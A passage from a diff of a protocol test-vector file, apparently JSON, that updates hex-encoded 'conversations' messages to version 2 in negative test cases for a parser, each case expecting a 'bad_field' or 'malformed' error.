"574d58310101000001000000e70b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-extra-key-in-item", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d2c226578747261223a317d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d2c226578747261223a317d5d7d", "error": "bad_field" }, { "name": "conversations-uid-and-gid-as-strings", "direction": "down", - "hex": "574d583101010000010000003b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a223230303030222c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a223230303030222c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-non-ascii-model", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64c3a86c65222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64c3a86c65222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64c3a86c65222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64c3a86c65222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "malformed" }, { "name": "conversations-id-too-long", "direction": "down", - "hex": "574d58310101000001000000b10600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000ee0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22